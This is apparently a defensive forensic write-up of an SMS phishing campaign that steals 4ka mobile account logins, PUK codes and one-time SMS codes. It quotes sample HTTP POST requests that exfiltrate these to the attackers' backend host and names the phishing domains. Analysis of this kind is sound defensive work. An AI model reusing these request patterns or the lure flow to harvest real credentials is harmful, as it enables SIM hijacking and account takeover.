Introduction

In the rapidly evolving world of cybersecurity threats, phishing scams remain one of the most effective tactics for credential theft and unauthorized access. This article provides a forensic analysis of a sophisticated phishing campaign targeting users of the 4ka mobile network, designed to steal account credentials, PUK codes, and SMS verification messages. The attackers employ social engineering, advanced tracking analytics, and seamless redirection techniques to bypass user suspicion.

Phishing Attack Lifecycle

The attack follows a multi-step approach to extract sensitive information from victims:

1. Initial Contact – Smishing (SMS Phishing)
   • The target receives an SMS message claiming that their SIM card will be blocked unless they verify their details.
   • A shortened URL (e.g., https: //oyn.at/4ka-sim) is provided, making it harder to detect fraud.

1. Fake Login Page
   • The link redirects to a fraudulent website mimicking the 4ka login portal.
   • The user is prompted to enter their username and password.

1. PUK Code & Phone Number Collection
   • After login, the site requests the phone number and PUK code under the pretense of verification.

1. SMS Interception and Code Capture
   • The phishing site asks the victim to enter an OTP (one-time password) received via SMS.
   • This allows the attacker to take over the account and possibly transfer the SIM to another device.
2. Redirection to Legitimate 4ka Website
   • To minimize suspicion, the victim is redirected to the real 4ka website after entering their details.

Technical Breakdown: How the Scam Works

1. Domain Infrastructure & Hosting

The phishing domain (oyn.at) is hosted on a disposable service, often registered with privacy protection to obscure the attacker’s identity. The site uses SSL certificates to appear legitimate.

The phishing site operates under the IP address 104.21.55.100:443, but its actual hosting origin is obscured behind Cloudflare, making it impossible to directly trace the attacker's real IP address.

2. Data Exfiltration via POST Requests

Captured credentials are sent via HTTP POST requests to a backend-controlled server. Example request:

POST /m-1.php HTTP/1.1
Host: slsp.verify-online.sbs
Content-Type: application/x-www-form-urlencoded

[email protected]&password=password123

3. Google Analytics & Tag Manager Usage

Surprisingly, the scammers integrate Google Tag Manager and Analytics to monitor visitor interactions, track drop-off rates, and optimize the effectiveness of their attack.

Example Tracking Request:

https://www.google-analytics.com/g/collect?v=2&tid=G-7QRDBXDT4Z...

Exploiting Cloud & Google Services for Cybercrime

One of the most surprising aspects of this phishing operation is the open use of Google Analytics, Google Tag Manager, and Cloudflare for malicious purposes. Attackers rely on these well-established cloud platforms to:

• Track visitor behavior – they monitor how many users reach specific scam steps.
• Optimize attack efficiency – analytics help adjust deceptive elements for higher success rates.
• Conceal infrastructure – Cloudflare hides the attacker's true hosting environment, making direct identification difficult.

This raises concerns about the abuse of legitimate cloud services by cybercriminals, creating a new challenge for cybersecurity defenses.

4. PUK & SMS Code Capture

After stealing login credentials, attackers prompt users for a PUK code and a verification SMS:

POST /m-2.php HTTP/1.1
Host: slsp.verify-online.sbs
Content-Type: application/x-www-form-urlencoded

tel=647456758422&pukkod=2511

With this information, attackers can transfer the victim's number to a different SIM, gaining control over linked banking and social media accounts.

Countermeasures & Defense Strategies

1. User Awareness & Education

✅ Never click on suspicious SMS links. ✅ Verify URLs before entering credentials. ✅ Use a password manager to detect fake login pages.

2. Security Features for Mobile Operators

• Rate-limit PUK code attempts.
• Implement AI-driven fraud detection on login attempts.
• Deploy SMS warning mechanisms when unusual login behavior is detected.

3. Browser & OS-Level Protections

• Modern browsers use Safe Browsing APIs to detect and block phishing attempts.
• Antivirus solutions like ESET flag and block scam pages in real time.

Conclusion

The 4ka SIM phishing scam is a prime example of how attackers leverage advanced social engineering and analytics to refine their techniques. With mobile networks and banking systems increasingly dependent on SMS-based authentication, such attacks pose a serious security risk. As users, we must remain vigilant against fraudulent messages, while organizations should enhance their cybersecurity defenses to mitigate these threats.

Stay alert, stay safe! 🚀